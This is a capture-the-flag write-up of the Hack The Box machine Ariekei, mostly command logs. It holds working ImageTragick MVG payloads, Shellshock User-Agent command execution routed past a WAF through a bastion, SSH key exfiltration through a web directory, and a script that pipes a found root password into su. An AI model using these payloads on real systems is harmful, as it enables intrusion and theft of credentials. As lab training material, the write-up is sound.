Skip to content
All writeups

HTB: Ariekei

ImageTragick in an image converter gives root in one container, a shared directory gives a bastion key, the bastion reaches a Shellshock CGI behind the WAF, and a cracked SSH key plus the docker group finish the host.

Published
Reading time
22 min
Difficulty
insane
Target
Linux (Ariekei)

htblinuxdockerimagetragickshellshockwaf-bypasssshcontainer-escape

Overview

Ariekei is an insane-rated Linux machine that is really four containers and a host. One address publishes three ports: SSH on the host, HTTPS on a ModSecurity reverse proxy, and a second SSH daemon that belongs to a bastion container. The proxy fronts two applications in separate Docker networks. Each weakness is only reachable from the position the previous one gives.

The chain: ImageTragick (CVE-2016-3714) in an image converter gives blind command execution as root in the first container. A directory mounted into every container holds the bastion’s private key and the build files for the estate. The bastion sits on both networks, so a bash CGI on the second application is reachable without the proxy, and Shellshock (CVE-2014-6271) runs as www-data. A root password in a Dockerfile gives su, root there reads a home directory mounted from the host, the SSH key in it has a passphrase from rockyou.txt, and its owner is in the docker group.

Two declarations. I had read write-ups of this box years ago and remembered its ingredients (containers, a WAF, ImageTragick, Shellshock) in no reliable order; where a step came from memory and not from output, I say so there. And the solve ran in two sittings, 13 minutes one evening and 6 the next morning on the same instance, because the first ended on a dead end described below.

Commands ran through a logger that saves each one with its output: bin/kali runs a tool in a Kali container on the VPN, and [lr exit 0] ends a block.

Reconnaissance

cd ../..; bin/kali ariekei "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.95.221" | grep -E "open|done"
22/tcp   open  ssh
443/tcp  open  https
1022/tcp open  exp2
Nmap done: 1 IP address (1 host up) scanned in 39.23 seconds
[lr exit 0]

A version scan of the three ports (nmap -Pn -sC -sV -p 22,443,1022), summarised from its output:

Port Service Version Notes
22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 Ubuntu 16.04
443 HTTPS nginx 1.10.2 title “Site Maintenance”
1022 SSH OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 Ubuntu 14.04

Two SSH daemons from two Ubuntu releases on one address: more than one system shares it. The certificate names the rest:

echo "### certificate names"; echo | openssl s_client -connect 10.129.95.221:443 2>/dev/null | openssl x509 -noout -subject -issuer -dates -ext subjectAltName; echo "### https root by address"; curl -s -S -k -m 25 -i https://10.129.95.221/ | head -40
### certificate names
subject=C=US, ST=Texas, L=Dallas, OU=Ariekei
issuer=C=US, ST=Texas, L=Dallas, OU=Ariekei
notBefore=Sep 24 01:37:05 2017 GMT
notAfter=Feb  8 01:37:05 2045 GMT
X509v3 Subject Alternative Name: 
    DNS:calvin.ariekei.htb, DNS:beehive.ariekei.htb
### https root by address
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Tue, 24 Nov 2026 18:49:13 GMT
Content-Type: text/html
Content-Length: 487
Connection: keep-alive
Last-Modified: Sat, 16 Sep 2017 00:46:12 GMT
ETag: "1923e-1e7-55943d606bd00"
Vary: Accept-Encoding
X-Ariekei-WAF: beehive.ariekei.htb
Accept-Ranges: bytes
[...]

Two names, and a response header, X-Ariekei-WAF, that announces a filtering proxy and the backend it chose. I ran raft-medium-directories against both names in the background. This is the calvin command; the beehive one differs only in the Host header and file names:

cd ../..; bin/kali ariekei "ffuf -s -t 30 -timeout 20 -u https://10.129.95.221/FUZZ -H \"Host: calvin.ariekei.htb\" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403,405,500 2>/dev/null | tee /work/scans/05-raft-calvin.hits; echo done; wc -l /work/scans/05-raft-calvin.hits"

I read the hit files while the scans were still running. The beehive scan later finished with the two hits shown. The calvin scan has no completion line in its output, so it did not finish and I do not know how far it got: “one path” below means one path found, not one path present.

echo "### hits so far"; tail -n +1 scans/05-raft-calvin.hits scans/06-raft-beehive.hits; echo "### beehive /server-status"; curl -s -S -k -m 25 -i --resolve beehive.ariekei.htb:443:10.129.95.221 https://beehive.ariekei.htb/server-status | head -20 | cut -c1-200
### hits so far
==> scans/05-raft-calvin.hits <==
upload

==> scans/06-raft-beehive.hits <==
blog
server-status
### beehive /server-status
HTTP/1.1 403 Forbidden
Server: nginx/1.10.2
Date: Tue, 24 Nov 2026 18:50:54 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 300
Connection: keep-alive
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /server-status
on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at beehive.ariekei.htb Port 80</address>
</body></html>
[lr exit 0]

calvin gave one hit, /upload. beehive has a static blog and a server-status that answers 403 with an Apache 2.2.22 (Debian) footer: a third operating system behind the same nginx. /upload is an “Image Converter” form with one file field.

Attack Surface Analysis

Image converter on calvin: command injection through a delegate (CWE-78)

An upload form that converts images on a 2017 system is a candidate for ImageTragick. It gives no output, so the test has to be a side effect.

Shared build directory mounted in every container (CWE-522, CWE-538)

Inside any container, /common holds a private key, Dockerfiles with passwords, the proxy configuration and a network diagram.

Bastion on both networks (CWE-653)

Port 1022 is a jump host with a leg in each Docker network: what the proxy filters on 443, the bastion reaches unfiltered.

Bash CGI on beehive: Shellshock (CWE-78)

A bash CGI on an unfixed bash runs code placed after a function definition in any request header.

Root password in a Dockerfile (CWE-798) and a weak key passphrase (CWE-521)

The first turns www-data into root in the blog container; the second turns a stolen private key into a host login.

Docker group membership (CWE-250)

A member of docker can start a container with the host’s root filesystem mounted.

Vulnerability Analysis

The converter is a short Flask application. I read it after the foothold, through the channel described below; it is quoted here because it explains the behaviour I saw from outside:

[...]
### app.py
import os
from flask import Flask, request, redirect, url_for
from wand.image import Image
from werkzeug import secure_filename

UPLOAD_FOLDER = './uploads/'
CONVERTED_FOLDER = './converted/'
ALLOWED_EXTENSIONS = set(['mvg', 'jpg', 'jpeg', 'gif'])

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['CONVERTED_FOLDER'] = CONVERTED_FOLDER


def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files['file']
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            with Image(filename=os.path.join(app.config['UPLOAD_FOLDER'], filename)) as img:
                img.format = 'jpeg'
                img.save(filename=os.path.join(app.config['CONVERTED_FOLDER'], filename + '.jpg'))
            return redirect(url_for('upload_file').replace("http://", "https://"))
[...]

The extension list allows mvg, and wand hands the saved file to ImageMagick. ImageMagick can also pick a coder from a file’s content and not its name (product knowledge; I only ever uploaded .mvg). MVG is ImageMagick’s own vector language, and its fill 'url(...)' primitive fetches a remote image through a delegate: a shell command line built by string substitution, with the URL placed inside double quotes. Before the May 2016 fixes nothing escaped a double quote inside the URL, so https://127.0.0.1/x.jpg"|command" closes the quoted argument and pipes into a command of the attacker’s choosing. The banner on the box, read at the end as root, is ImageMagick 6.7.8-9 2014-06-10. I did not establish what its policy.xml enforces; the reason is in Post-Exploitation.

Shellshock is a parser flaw. Bash imports functions from environment variables whose value starts with () {, and vulnerable versions execute whatever follows the closing brace. CGI copies request headers into the environment (HTTP_USER_AGENT), so a bash CGI runs the attacker’s trailer before its first line. The WAF blocks the pattern on 443; anything that can talk to the backend directly still reaches the flaw.

The rest is configuration: /opt/docker of the host is mounted at /common in every container, the bastion trusts a key stored there, the blog container mounts the host user’s home directory, and that user is in docker.

Exploitation

Phase 1: blind command execution in the converter

I first tried the form with a one-pixel PNG and a text file. Both came back 200 with the form again. The source later showed that neither extension is on the allowed list, so neither file was ever converted and the PNG was no control at all. The useful controls are in the timing test that followed.

The payload builder and the uploader:

# write an ImageTragick (CVE-2016-3714) MVG file whose delegate runs one shell command on the converter
# usage: 09-mvg.py <out.mvg> <command>   (the command must not contain a double quote)
import sys
out, cmd = sys.argv[1], sys.argv[2]
assert '"' not in cmd and "'" not in cmd, "quotes break the fill line"
open(out, "w").write(
    "push graphic-context\n"
    "viewbox 0 0 640 480\n"
    "fill 'url(https://127.0.0.1/x.jpg\"|%s\")'\n"
    "pop graphic-context\n" % cmd)
print(open(out).read(), end="")
#!/bin/bash
# upload one file to the converter and print the status and the time the response took
# usage: 09-time.sh <file>
set -euo pipefail
curl -s -S -k -m 90 -o /dev/null -w "$1 -> http %{http_code} in %{time_total}s\n" \
  --resolve calvin.ariekei.htb:443:10.129.95.221 -F "file=@$1" https://calvin.ariekei.htb/upload

The payload shape is from knowing the bug, and I remembered that it applied to this box. The test asks for a delay of 0 and of 6 seconds, with the PNG and a second zero-delay run as controls:

python3 -I artifacts/09-mvg.py artifacts/09-d0.mvg "sleep 0"; python3 -I artifacts/09-mvg.py artifacts/09-d6.mvg "sleep 6"; bash artifacts/09-time.sh artifacts/08-dot.png; bash artifacts/09-time.sh artifacts/09-d0.mvg; bash artifacts/09-time.sh artifacts/09-d6.mvg; bash artifacts/09-time.sh artifacts/09-d0.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|sleep 0")'
pop graphic-context
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|sleep 6")'
pop graphic-context
artifacts/08-dot.png -> http 200 in 1.117633s
artifacts/09-d0.mvg -> http 302 in 1.235090s
artifacts/09-d6.mvg -> http 302 in 7.184836s
artifacts/09-d0.mvg -> http 302 in 1.113436s
[lr exit 0]

About 1.1 seconds for every control and 7.2 for the six-second sleep: the delegate runs my command.

With no output, the next request turned three yes or no questions into one delay, each answer worth a different number of seconds. The path of the key is recall, and the request is the check:

python3 -I artifacts/09-mvg.py artifacts/11-probe.mvg "test -r /common/.secrets/bastion_key && sleep 2; command -v ssh > /dev/null && sleep 4; test \$(id -u) = 0 && sleep 8"; bash artifacts/09-time.sh artifacts/11-probe.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|test -r /common/.secrets/bastion_key && sleep 2; command -v ssh > /dev/null && sleep 4; test $(id -u) = 0 && sleep 8")'
pop graphic-context
artifacts/11-probe.mvg -> http 302 in 11.240943s
[lr exit 0]

11.2 seconds less the 1.1 baseline is 10, which is 2 plus 8: the key is readable and the converter is uid 0, but there is no SSH client in the container (the 4 is missing), so the key has to come out.

Dead end: a listener that could never be reached. I started a listener for the key before testing whether the target could reach my machine at all:

cd ../..; bin/kali ariekei "timeout 150 nc -lvnp 4444 > /work/loot/bastion_key; ls -l /work/loot/bastion_key; head -c 40 /work/loot/bastion_key | cut -c1-31"
listening on [any] 4444 ...

-rw-r--r-- 1 root root 0 Nov 24 18:58 /work/loot/bastion_key
[lr exit 0]

Nothing arrived, and no request that would have sent the key was ever made: the sitting ended there. My own notes already said why it could not work: the firewall on my laptop accepts established traffic only. The mistake cost the evening, and the machine stayed up overnight.

The replacement is an output channel through the application itself. The converter’s 404 page is the Werkzeug one, and Flask serves a static directory beside the application when one exists (product knowledge, tested with a control request first):

R="--resolve calvin.ariekei.htb:443:10.129.95.221"; echo "### control: /static/o.txt before"; curl -s -S -k -m 25 $R -o /dev/null -w "%{http_code} %{size_download}\n" https://calvin.ariekei.htb/static/o.txt; python3 -I artifacts/09-mvg.py artifacts/13-static.mvg "mkdir -p static; (id; pwd; ls -la . /common /common/.secrets; ps aux) > static/o.txt 2>&1"; bash artifacts/09-time.sh artifacts/13-static.mvg; echo "### /static/o.txt after"; curl -s -S -k -m 25 $R -w "\n%{http_code} %{size_download}\n" https://calvin.ariekei.htb/static/o.txt | cut -c1-220
### control: /static/o.txt before
404 233
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|mkdir -p static; (id; pwd; ls -la . /common /common/.secrets; ps aux) > static/o.txt 2>&1")'
pop graphic-context
artifacts/13-static.mvg -> http 302 in 1.418908s
### /static/o.txt after
uid=0(root) gid=0(root) groups=0(root)
/app
.:
total 28
drwxr-xr-x  5 root root 4096 Nov 25 06:04 .
drwxr-xr-x 36 root root 4096 Sep  2  2021 ..
-rw-r--r--  1 root root 2867 Sep 26  2017 app.py
drwxr-xr-x  2 root root 4096 Nov 24 18:51 converted
-rw-r--r--  1 root root   11 Sep 22  2017 requirements.txt
drwxr-xr-x  2 root root 4096 Nov 25 06:04 static
drwxr-xr-x  2 root root 4096 Nov 25 06:04 uploads

/common:
total 20
drwxr-xr-x  5 root root 4096 Sep  2  2021 .
drwxr-xr-x 36 root root 4096 Sep  2  2021 ..
drwxrwxr-x  2 root root 4096 Sep  2  2021 .secrets
drwxr-xr-x  6 root root 4096 Sep  2  2021 containers
drwxr-xr-x  2 root root 4096 Sep  2  2021 network

/common/.secrets:
total 16
drwxrwxr-x 2 root root 4096 Sep  2  2021 .
drwxr-xr-x 5 root root 4096 Sep  2  2021 ..
-r--r----- 1 root root 1679 Sep 23  2017 bastion_key
-r--r----- 1 root root  393 Sep 23  2017 bastion_key.pub
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  1.4 182908 29516 pts/0    Ss+  Nov24   0:38 python app.py
root        29  0.0  0.1  11640  2644 pts/0    S+   06:04   0:00 sh -c "curl" -s -k -o "/tmp/magick-fsdseP2d" "https://127.0.0.1/x.jpg"|mkdir -p static; (id; pwd; ls -la . /common /common/.secrets; ps aux) > static/o.txt
root        32  0.0  0.1  11644  2092 pts/0    S+   06:04   0:00 sh -c "curl" -s -k -o "/tmp/magick-fsdseP2d" "https://127.0.0.1/x.jpg"|mkdir -p static; (id; pwd; ls -la . /common /common/.secrets; ps aux) > static/o.txt
root        35  0.0  0.1  47428  3256 pts/0    R+   06:04   0:00 ps aux

200 1571
[lr exit 0]

404 before, command output after. The process list shows the delegate line as ImageMagick built it: curl, my URL, the closing quote, the pipe, my command.

Phase 2: the shared directory and the bastion key

One request copied the key, the application source, a listing of /common and an archive of its network and containers directories into static/; the laptop fetched them, and a second request removed the key and the archive from the web root. The key went to a file with mode 0600; the command printed its size and the PEM header line, which I have cut from the block below. The listing is trimmed, and the block ends with the check that the copy is gone:

R="--resolve calvin.ariekei.htb:443:10.129.95.221"; U=https://calvin.ariekei.htb/static; python3 -I artifacts/09-mvg.py artifacts/14-common.mvg "cp /common/.secrets/bastion_key static/k; cp app.py static/app.txt; (find /common -ls; cat /proc/1/cgroup | head -3; hostname; ip -4 addr; cat /etc/hosts) > static/tree.txt 2>&1; tar czf static/common.tgz -C /common network containers 2>/dev/null; ls -la static > static/ls.txt"; bash artifacts/09-time.sh artifacts/14-common.mvg; umask 077; curl -s -S -k -m 25 $R -o loot/bastion_id $U/k; echo "key: $(wc -c < loot/bastion_id) bytes, first line: $(head -1 loot/bastion_id | cut -c1-31)"; curl -s -S -k -m 25 $R -o loot/app.py $U/app.txt; curl -s -S -k -m 60 $R -o loot/common.tgz $U/common.tgz; echo "### static listing"; curl -s -S -k -m 25 $R $U/ls.txt; echo "### tree, cgroup, hostname, addresses, hosts"; curl -s -S -k -m 25 $R $U/tree.txt; echo "### app.py"; cat loot/app.py; echo "### remove the key copy from the web root"; python3 -I artifacts/09-mvg.py artifacts/14-rm.mvg "rm -f static/k static/common.tgz"; bash artifacts/09-time.sh artifacts/14-rm.mvg; curl -s -S -k -m 25 $R -o /dev/null -w "/static/k now %{http_code}\n" $U/k
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|cp /common/.secrets/bastion_key static/k; cp app.py static/app.txt; (find /common -ls; cat /proc/1/cgroup | head -3; hostname; ip -4 addr; cat /etc/hosts) > static/tree.txt 2>&1; tar czf static/common.tgz -C /common network containers 2>/dev/null; ls -la static > static/ls.txt")'
pop graphic-context
artifacts/14-common.mvg -> http 302 in 1.759982s
[...]
### static listing
total 408
drwxr-xr-x 2 root root   4096 Nov 25 06:04 .
drwxr-xr-x 5 root root   4096 Nov 25 06:04 ..
-rw-r--r-- 1 root root   2867 Nov 25 06:04 app.txt
-rw-r--r-- 1 root root 345359 Nov 25 06:04 common.tgz
-r--r----- 1 root root   1679 Nov 25 06:04 k
-rw-r--r-- 1 root root      0 Nov 25 06:04 ls.txt
-rw-r--r-- 1 root root   1571 Nov 25 06:04 o.txt
-rw-r--r-- 1 root root  45287 Nov 25 06:04 tree.txt
### tree, cgroup, hostname, addresses, hosts
 78400    4 drwxr-xr-x   5 root     root         4096 Sep  2  2021 /common
 14677    4 drwxrwxr-x   2 root     root         4096 Sep  2  2021 /common/.secrets
 14679    4 -r--r-----   1 root     root         1679 Sep 23  2017 /common/.secrets/bastion_key
 14678    4 -r--r-----   1 root     root          393 Sep 23  2017 /common/.secrets/bastion_key.pub
[...]
11:pids:/docker/c362989563fd4c68fafb187ebd04546bbcd0e22b669df31639a38fcb777aea0b
10:memory:/docker/c362989563fd4c68fafb187ebd04546bbcd0e22b669df31639a38fcb777aea0b
9:blkio:/docker/c362989563fd4c68fafb187ebd04546bbcd0e22b669df31639a38fcb777aea0b
calvin.ariekei.htb
[...]
172.23.0.11	calvin.ariekei.htb calvin
[...]
### remove the key copy from the web root
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|rm -f static/k static/common.tgz")'
pop graphic-context
artifacts/14-rm.mvg -> http 302 in 1.625030s
/static/k now 404
[lr exit 0]

The archive holds the build and start script of every container. This command unpacked it and printed the small text files with password values masked by sed (its first half re-reads the listing above):

grep -v -E "blog-test/(config|logs)/|/var/www|waf-live/modsecurity|\.(css|js|png|jpg|html|conf|rules|data|map|woff2?|ttf|eot|svg|scss|less|otf)$" artifacts/14-common.out | sed -n "/### tree/,/### app.py/p" | cut -c1-170 | head -120; echo "### tail of 14 (app.py and cleanup)"; sed -n "/### app.py/,\$p" artifacts/14-common.out; mkdir -p loot/common; tar xzf loot/common.tgz -C loot/common; echo "### small text files in the archive, any chpasswd or password value masked"; for f in $(find loot/common -type f \( -name Dockerfile -o -name "*.sh" -o -name "*.txt" \) | sort); do echo "--- $f"; sed -E "s/(root:)[^\"| ]+/\1<masked>/; s/([Pp]assw(or)?d[=: ]+)[^ ]+/\1<masked>/" "$f"; done; ls -la loot/common/network

Two of the files from its output:

[...]
--- loot/common/containers/bastion-live/start.sh
docker run \
-v /dev/null:/root/.sh_history \
-v /dev/null:/root/.bash_history \
--restart on-failure:5 \
--net arieka-live-net --ip 172.23.0.253 \
-h ezra.ariekei.htb --name bastion-live -dit \
-v /opt/docker:/common:ro \
-v $(pwd)/sshd_config:/etc/ssh/sshd_config:ro \
-p 1022:22 bastion-template

docker network connect --ip 172.24.0.253 arieka-test-net bastion-live
--- loot/common/containers/blog-test/build.sh
docker build -t web-template . 
--- loot/common/containers/blog-test/Dockerfile
FROM internal_htb/docker-apache
RUN echo "root:<masked>" | chpasswd
RUN apt-get update 
RUN apt-get install python -y
RUN mkdir /common 
--- loot/common/containers/blog-test/start.sh
docker run \
-v /dev/null:/root/.sh_history \
-v /dev/null:/root/.bash_history \
--restart on-failure:5 \
--net arieka-test-net --ip 172.24.0.2 \
-h beehive.ariekei.htb --name blog-test -dit \
-v /opt/docker:/common:ro \
-v $(pwd)/cgi:/usr/lib/cgi-bin:ro \
-v $(pwd)/config:/etc/apache2:ro \
-v $(pwd)/logs:/var/log/apache2 \
-v /home/spanishdancer:/home/spanishdancer:ro  web-template
[...]

bastion-live publishes 1022 and is attached to both networks. blog-test is beehive at 172.24.0.2, its cgi-bin is a host directory, and it mounts /home/spanishdancer from the host. The network directory also holds a diagram, info.png, which draws the same layout; I opened it only after root. The CGI script is in the archive too, and it is bash, which is what placed the Shellshock I remembered. The key logs in to 1022 as root, and from there the CGI answers without the proxy in front of it:

cat loot/common/containers/blog-test/cgi/stats; echo "### bastion"; cd ../..; bin/kali ariekei "ssh -i /work/loot/bastion_id -p 1022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes -o LogLevel=ERROR -o PubkeyAcceptedAlgorithms=+ssh-rsa root@10.129.95.221 \"id; hostname; ip -4 -o addr; ls -la /root /common/.secrets; which curl wget python python3 nc ncat socat; exec 3<>/dev/tcp/172.24.0.2/80; printf \\\"GET /cgi-bin/stats HTTP/1.0\\r\\nHost: beehive.ariekei.htb\\r\\n\\r\\n\\\" >&3; head -c 1200 <&3\""
#!/bin/bash

echo "Content-type: text/html";
echo ""

/bin/cat << EOM
<pre>
EOM

echo `date`
echo `uptime`
echo `bash --version`
echo 'Environment Variables:'
echo '<pre>'
/usr/bin/env
echo '</pre>'
/bin/cat << EOM
</pre>
EOM
### bastion
uid=0(root) gid=0(root) groups=0(root)
ezra.ariekei.htb
1: lo    inet 127.0.0.1/8 scope host lo\       valid_lft forever preferred_lft forever
14: eth0    inet 172.23.0.253/24 scope global eth0\       valid_lft forever preferred_lft forever
16: eth1    inet 172.24.0.253/24 scope global eth1\       valid_lft forever preferred_lft forever
[...]
HTTP/1.1 200 OK
Date: Wed, 25 Nov 2026 06:05:29 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<pre>
Wed Nov 25 06:05:29 UTC 2026
06:05:29 up 11:18, 0 users, load average: 0.00, 0.02, 0.00
GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
Environment Variables:
<pre>
[...]
REMOTE_ADDR=172.24.0.1
[...]

Bash 4.2.37. Upstream fixed Shellshock at 4.2 patch 48, but this is a Debian package and Debian backported the fix without changing that string, so the version only makes the test worth sending.

Phase 3: Shellshock behind the WAF

The runner opens an SSH local forward through the bastion and sends a command file, base64 encoded, after a function definition in the User-Agent:

#!/bin/bash
# run a file of commands on beehive (172.24.0.2) through Shellshock in the User-Agent of /cgi-bin/stats,
# reached over an SSH local forward on the bastion (1022). usage: 17-shock.sh <commands file>   (cwd machines/ariekei)
set -euo pipefail
B=$(base64 -w0 "$1")
S="ssh -i /work/loot/bastion_id -p 1022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes -o LogLevel=ERROR -o PubkeyAcceptedAlgorithms=+ssh-rsa"
cd ../..
bin/kali ariekei "$S -f -N -L 127.0.0.1:18080:172.24.0.2:80 root@10.129.95.221; sleep 1; curl -s -S -m 90 -H 'Host: beehive.ariekei.htb' -A '() { :;}; echo Content-Type: text/plain; echo; echo $B | /usr/bin/base64 -d | /bin/bash 2>&1' http://127.0.0.1:18080/cgi-bin/stats"
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
id; hostname; uname -a
which python python3 su script nc wget curl
ls -la /home/spanishdancer /home/spanishdancer/.ssh
grep -v nologin /etc/passwd | tail -5
mount | grep -E "common|spanish|cgi|apache"

The same header through the proxy on 443 is the control, beside a plain request to show the path itself is allowed:

echo "### control: Shellshock header through the WAF on 443"; curl -s -S -k -m 25 --resolve beehive.ariekei.htb:443:10.129.95.221 -A "() { :;}; echo Content-Type: text/plain; echo; /usr/bin/id" -w "\nhttp %{http_code}\n" https://beehive.ariekei.htb/cgi-bin/stats | cut -c1-300 | head -30; echo "### same request without the header, through the WAF"; curl -s -S -k -m 25 --resolve beehive.ariekei.htb:443:10.129.95.221 -o /dev/null -w "http %{http_code}\n" https://beehive.ariekei.htb/cgi-bin/stats; echo "### through the bastion"; bash artifacts/17-shock.sh artifacts/17-enum.sh
### control: Shellshock header through the WAF on 443

<pre>
                          oooo$$$$$$$$$$$$oooo
                      oo$$$$$$$$$$$$$$$$$$$$$$$$o
[...]
                                     $$$$$$$$$$"
                                      "$$$""""

</pre>
### same request without the header, through the WAF
http 200
### through the bastion
uid=33(www-data) gid=33(www-data) groups=33(www-data)
beehive.ariekei.htb
Linux beehive.ariekei.htb 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 GNU/Linux
/usr/bin/python
/bin/su
/usr/bin/script
/usr/bin/wget
/home/spanishdancer:
total 32
drwxr-xr-x 5 1000 1000 4096 Sep  2  2021 .
drwxr-xr-x 3 root root 4096 Sep  2  2021 ..
-rw-r--r-- 1 1000 1000 3791 Sep 24  2017 .bashrc
drwx------ 2 1000 1000 4096 Sep  2  2021 .cache
-rw-r--r-- 1 1000 1000  655 Sep 16  2017 .profile
drwx------ 2 1000 1000 4096 Sep  2  2021 .ssh
drwxrwxr-x 3 1000 root 4096 Sep  2  2021 content
-r--r----- 1 1000 root   33 Nov 24 18:47 user.txt
ls: cannot open directory /home/spanishdancer/.ssh: Permission denied
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
/dev/mapper/ariekei--vg-root on /common type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/mapper/ariekei--vg-root on /home/spanishdancer type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/mapper/ariekei--vg-root on /etc/apache2 type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/mapper/ariekei--vg-root on /usr/lib/cgi-bin type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/mapper/ariekei--vg-root on /var/log/apache2 type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[lr exit 0]

Through the WAF the header earns an ASCII-art block page (cut above; my head -30 also cut the status line that followed it) while the plain request gets 200. Through the bastion the same header runs as www-data. The home directory mounted from the host needs uid 0 or 1000 for both .ssh and user.txt.

Phase 4: root in the blog container, and the user’s key

The Dockerfile sets a root password with chpasswd. su wants a terminal, so a template from an earlier machine forks a pty, runs su -c and types the password. It was adapted with sed 's/atanas/root/' ../../tools/su-pty.tmpl.py > artifacts/18-su.tmpl.py:

import os, pty, time, select, base64
pid, fd = pty.fork()
if pid == 0:
    os.execv('/bin/su', ['su', 'root', '-c', base64.b64decode('@@CMD@@').decode()])
time.sleep(2)
os.write(fd, b'@@A@@\n')
out = b''
while True:
    try:
        r, _, _ = select.select([fd], [], [], 30)
        if not r:
            break
        d = os.read(fd, 4096)
        if not d:
            break
        out += d
    except OSError:
        break
os.waitpid(pid, 0)
print(out.decode('latin1'))

The commands for root return each key file and the flag as base64 on a marked line:

id
ls -la /home/spanishdancer/.ssh /home/spanishdancer/content
for f in /home/spanishdancer/.ssh/*; do echo "B64FILE:$(basename $f):$(base64 -w0 $f)"; done
echo "B64FILE:user.txt:$(base64 -w0 /home/spanishdancer/user.txt)"

A filler reads the password from the Dockerfile and writes the script and a wrapper for www-data; a filter on the laptop writes the marked lines to files and prints sizes:

# fill artifacts/18-su.tmpl.py: password from the blog-test Dockerfile (or the literal "wrong" as control), command file base64
# usage: 18-fill.py <real|wrong> <root command file> <out.py>   prints the password length only
import re, sys, base64
mode, cmdfile, out = sys.argv[1:4]
pw = re.search(r'echo "root:([^"]+)"', open("loot/common/containers/blog-test/Dockerfile").read()).group(1)
assert "'" not in pw and "\\" not in pw
print("password length %d, mode %s" % (len(pw), mode))
if mode == "wrong":
    pw = "wrong"
t = open("artifacts/18-su.tmpl.py").read()
t = t.replace("@@A@@", pw).replace("@@CMD@@", base64.b64encode(open(cmdfile, "rb").read()).decode())
open(out, "w").write(t)
compile(t, out, "exec")
# wrapper run as www-data: drop the script, run it with the python on the box, remove it
w = out[:-3] + ".www.sh"
open(w, "w").write("D=/dev/shm; [ -w $D ] || D=/tmp\necho %s | base64 -d > $D/.s.py\npython $D/.s.py\nrm -f $D/.s.py\n"
                   % base64.b64encode(t.encode()).decode())
# read runner output on stdin: B64FILE:<name>:<base64> lines are written to loot/sd/<name> (user.txt to artifacts/user.txt), mode 0600,
# and replaced by name, size and first 31 characters when the file is a PEM; the su password is masked if the pty echoed it
import re, sys, os, base64
pw = re.search(r'echo "root:([^"]+)"', open("loot/common/containers/blog-test/Dockerfile").read()).group(1)
os.makedirs("loot/sd", exist_ok=True)
for line in sys.stdin:
    line = line.rstrip("\r\n").replace(pw, "<su password>")
    m = re.match(r"B64FILE:([\w.]+):(\S*)", line)
    if not m:
        print(line); continue
    data = base64.b64decode(m.group(2))
    path = "artifacts/user.txt" if m.group(1) == "user.txt" else "loot/sd/" + m.group(1)
    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, data); os.close(fd)
    head = data[:31].decode("latin1") if data.startswith(b"-----BEGIN") else ""
    print("saved %s: %d bytes %s" % (path, len(data), head))

The first run stopped on my side before any request, because the filler originally called py_compile with /dev/null as its output and Python refuses that; the version above uses compile(). The second run, with a wrong password first as the control:

set -euo pipefail; python3 -I artifacts/18-fill.py wrong artifacts/18-root.sh artifacts/18-su-wrong.py; python3 -I artifacts/18-fill.py real artifacts/18-root.sh artifacts/18-su.py; echo "### control: wrong password"; bash artifacts/17-shock.sh artifacts/18-su-wrong.www.sh | python3 -I artifacts/18-filter.py; echo "### password from the Dockerfile"; bash artifacts/17-shock.sh artifacts/18-su.www.sh | python3 -I artifacts/18-filter.py
password length 15, mode wrong
password length 15, mode real
### control: wrong password
Password: 
su: Authentication failure

### password from the Dockerfile
Password: 
uid=0(root) gid=0(root) groups=0(root)
/home/spanishdancer/.ssh:
total 20
drwx------ 2 1000 1000 4096 Sep  2  2021 .
drwxr-xr-x 5 1000 1000 4096 Sep  2  2021 ..
-rw-rw-r-- 1 1000 1000  407 Sep 24  2017 authorized_keys
